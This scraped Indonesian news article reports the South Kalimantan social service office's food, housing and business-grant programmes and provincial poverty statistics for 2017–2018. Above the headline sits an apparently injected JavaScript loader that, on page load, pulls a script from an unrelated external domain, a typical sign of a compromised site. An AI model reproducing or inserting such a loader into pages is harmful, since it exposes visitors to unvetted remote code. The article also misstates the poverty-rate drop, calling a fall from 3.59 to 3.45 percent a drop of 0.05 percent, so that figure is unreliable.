(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tekan Kemiskinan, Dinsos Kalsel Beri Suntikan Modal Usaha Rp 22,5 Juta


BANJARMASIN, Dinas Sosial (Dinsos) Provinsi Kalsel terus berupaya mendorong pengurangan angka kemiskinan di Kalsel pada Tahun 2020 mendatang. Salah satunya ungkap Kepala Dinsos Provinsi Kalsel Adi Santoso, adalah dengan memaksimalkan tiga program unggulan untuk meningkatkan kesejahteraan dan pendapatan keluarga pra sejahtera. Mulai pembagian paket pangan, bedah rumah, hingga suntikan modal usaha.

“Program pertama adalah pemenuhan kebutuhan pangan bagi masyarakat pra sejahtera. Untuk tahun 2018 ini kita menganggarkan sekitar 20.000 paket yang bisa kita bagikan diseluruh pelosok Kalsel,” tegasnya, Jumat (7/9).

Kemudian program kedua adalah perbaikan kualitas rumah bagi keluarga pra sejahtera yang dianggarkan pada Tahun 2018 ini mencapai Rp 22 miliar, dengan jumlah unit rumah yang bisa dibedah mencapai 122 unit.

“Tahun ini memang dari sisi unit jauh lebih rendah, karena pada Tahun 2017 lalu jumlah rumah yang kita bedah mencapai 130 unit. Namun dari sisi anggaran bedah rumah jauh lebih besar, yakni untuk rumah diperkotaan menjadi Rp 20 Juta perunit, pedesaan Rp27,5 juta perunit dan pulau terpencil mencapai Rp 30 juta perunit,” ungkapnya.

Lalu terakhir adalah bantuan modal usaha bagi kelompok usaha masyarakat pra sejahera dengan jumlah kelompok yang dibantu mencapai 85 kelompok usaha bersama pada Tahun 2018 ini. Adapun besaran bantuan modal usaha sendiri untuk perkotaan dan pedesaan mencapai Rp 22,5 juta perkelompok dan wilayah pesisir sebesar Rp 30 juta perkelompok.

“Bantuan modal usaha sendiri tentunya sudah melewati berbagai proses yang cukup selektif. Hal tentunya kita lakukan kelompok usaha yang mendapatkan modal usaha dalam bentuk hibah bisa betul-betul tepat sasaran,” jelasnya.

Dengan tiga program tersebut, Dinsos Kalsel pun optimis angkat kemisikinan di Banua bisa diturunkan pada tahun 2020 mendatang. Di Kalsel sendiri dari data yang diperoleh oleh sensus Badan Pusat Statistik (BPS) yang dilakukan pada Tahun 2015 lalu angka kemiskinan mencapai 194.000 jiwa.

“Sensus BPS menghitung angka kemiskinan kembali pada Tahun 2020 mendatang. Kami optimislah dengan konsisten melakukan berbagai program unggulan tadi yang juga dibantu oleh program dari pemerintah pusat, pada Tahun 2020 mendatang angka kemiskinan di Kalsel bisa menurun,” pungkasnya.

Menurun

Jumlah penduduk miskin di Kalsel mengalami pengurangan sebanyak 5.530 orang. Hal tersebut berdasarkan rilis data Badan Pusat Statistik (BPS) Kalsel selama satu semester periode September 2017 hingga Maret 2018 lalu. Kepala BPS Kalsel Diah Utami mengatakan, jumlah penduduk miskin di perdesaan berkurang ribuan orang, sedangkan di perkotaan mengalami kenaikan. “Penduduk miskin di perdesaan berkurang sebanyak 8.020 orang dan penduduk miskin di daerah perkotaan bertambah sebanyak 2.490 orang,” jelasnya.

Ia mengatakan, jumlah penduduk miskin di Kalsel keadaan September 2017 sebanyak 194.560 orang sedangkan bulan Maret, jumlah penduduk miskin terdata sebanyak 189.030 orang. Disebutkan, jumlah penduduk miskin yang mencapai ratusan ribu orang itu tersebar di perkotaan sebanyak 68.700 orang, sedangkan di perdesaan lebih banyak mencapai 120.330 orang.

“Tingkat kemiskinan di Kalsel Maret 2018 sebesar 3,45 persen. Angka itu menurun 0,05 persen dibandingkan tingkat kemiskinan September 2017 sebesar 3,59 persen,” ungkapnya.

Menurut dia, Garis Kemiskinan (GK) di Kalsel Maret 2018 sebesar Rp 427.774 per kapita per bulan mengalami kenaikan 1,86 persen dibandingkan September 2017 sebesar Rp 419.974. Selama periode Maret 2017-Maret 2018, garik kemiskinan mengalami kenaikan sebesar 6,30 persen yakni dari Rp 402.424 per kapita per bulan menjadi Rp 427.774.

Kemudian, garis kemiskinan wilayah perkotaan bulan September 2017 yakni sebesar Rp 441.218 per kapita per bulan dan lebih tinggi dibanding perdesaan sebesar Rp 414.494. “Selama periode September 2017-Maret 2018, garis kemiskinan perkotaan dan perdesaan mengalami kenaikan masing-masing sebesar 1,48 persen dan 1,75 persen,” jelasnya.(arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

33 menit ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

1 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

5 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

6 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

7 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

7 jam ago

This website uses cookies.